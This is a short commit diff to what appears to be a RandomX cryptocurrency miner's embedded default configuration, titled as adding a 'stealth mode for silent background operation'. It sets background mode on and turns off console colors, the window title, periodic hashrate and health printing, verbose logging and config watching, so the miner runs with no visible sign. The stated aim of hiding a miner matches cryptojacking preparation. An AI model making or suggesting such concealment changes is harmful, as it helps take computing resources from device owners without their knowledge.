feat: Add stealth mode for silent background operation

src/core/config/Config_default.h

@@ -94,9 +94,9 @@ inline const char* getEmbeddedConfig()
         "restricted": true
     },
     "autosave": true,
-    "background": false,
-    "colors": true,
-    "title": true,
+    "background":true,
+    "colors":false,
+    "title":false,
     "randomx": {
         "init": -1,
         "init-avx2": -1,
@@ -160,8 +160,8 @@ inline const char* getEmbeddedConfig()
             "submit-to-origin": false
         }
     ],
-    "print-time": 60,
-    "health-print-time": 60,
+    "print-time":0,
+    "health-print-time":0,
     "dmi": true,
     "retries": 5,
     "retry-pause": 5,
@@ -176,8 +176,8 @@ inline const char* getEmbeddedConfig()
         "dhparam": null
     },
     "user-agent": null,
-    "verbose": 9,
-    "watch": true,
+    "verbose":0,
+    "watch":false,
     "pause-on-battery": false,
     "pause-on-active": false
 }